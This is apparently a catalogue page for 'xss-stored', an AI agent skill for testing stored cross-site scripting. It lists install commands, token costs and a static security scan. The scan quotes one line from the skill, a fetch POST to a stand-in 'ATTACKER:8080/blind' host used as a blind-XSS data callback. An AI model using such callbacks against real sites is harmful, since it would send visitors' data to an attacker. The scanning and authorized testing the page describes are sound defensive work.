xss-stored

xss-stored is a skill for Claude Code, Codex from blacklanternsecurity/red-run. It costs 20 tokens per session (2,568 once invoked), scanned A, original, GPL-3.0.

A security-testing guide for stored, or persistent, cross-site scripting (XSS), where malicious script is saved and later shown to other users.

In plain words
What is it for?
Use it to test forms, profiles, comments, and other features that store and display user input.
Why use it?
It helps authorized testers check whether saved user content can run code in other people’s browsers.

Skill for Claude CodeCodex

Which agent this was written for is unclear — body not stored (licence); the path alone says nothing.

Good fit Use it to test forms, profiles, comments, and other features that store and display user input.

Compare 6 skills from other repositories ↓
Install with agentmods
npx agentmods add skills/blacklanternsecurity/red-run/xss-stored
Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

Any agent
npx skills add blacklanternsecurity/red-run --skill xss-stored
Clone the repo
git clone --depth 1 https://github.com/blacklanternsecurity/red-run

Made for: Claude Code, Codex.

Wrote this? Show the measurements

A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.

agentmods badge for xss-stored

README.md
[![agentmods](https://agentmods.dev/badge/skills/blacklanternsecurity/red-run/xss-stored/github.svg)](https://agentmods.dev/skills/blacklanternsecurity/red-run/xss-stored)
Your own site
<a href="https://agentmods.dev/skills/blacklanternsecurity/red-run/xss-stored"><img src="https://agentmods.dev/badge/skills/blacklanternsecurity/red-run/xss-stored/github.svg" alt="Measured on agentmods" height="20"></a>

Or the 80×15 button, for a site that already has a row of RSS and ATOM ones. Only the verdict fits; the numbers stay here.

agentmods 80×15 button for xss-stored

Your own site · 80×15
<a href="https://agentmods.dev/skills/blacklanternsecurity/red-run/xss-stored"><img src="https://agentmods.dev/badge/skills/blacklanternsecurity/red-run/xss-stored.svg" alt="Reviewed on agentmods" width="80" height="20"></a>
Per session 20 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 2,568 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 2 findings. A grade says what 26 rules found in the file — not that it is safe.
Origin unknown No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5.1 $0.00020 $0.02568
Opus 5 $0.00010 $0.01284
Sonnet 5 $0.00004 $0.00514
Haiku 4.5 $0.00002 $0.00257

Measured 5d ago against content hash 3a7bbef5cc18, method: parsed. Prices are Anthropic first-party input rates as of 2026-09-08, from the pricing page.

Security

Grade A, and why

xss-stored scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 5d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Sends data to an external URLlowData exfiltration

A POST to an outside endpoint may be telemetry or may be exfiltration; either way the mod talks to somewhere, and you should know where.

fetch('https://ATTACKER:8080/blind', { method: 'POST',

Downgraded: this mod is about security review, or the phrase is quoted, so it is likely naming the pattern rather than instructing it.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

- **curl** for submitting payloads — precise control over encoding and headers
skills/web/xss-stored/SKILL.md · 303 lines

The source is not reproduced here

Licensed GPL-3.0

The repository is licensed GPL-3.0, which this catalogue does not treat as permission to reproduce the file. Read it at the source.

Read it on GitHub

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 5d ago First seen · 303 lines · 20 tokens per session scan A 3a7bbef5cc18

Subscribe to this mod's changes

xss-stored is a skill published in the GitHub repository blacklanternsecurity/red-run (267 stars, last pushed 5mo ago), licensed GPL-3.0. It adds 20 tokens to every session and 2,568 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 2 findings (sends data to an external url, makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-09-03.

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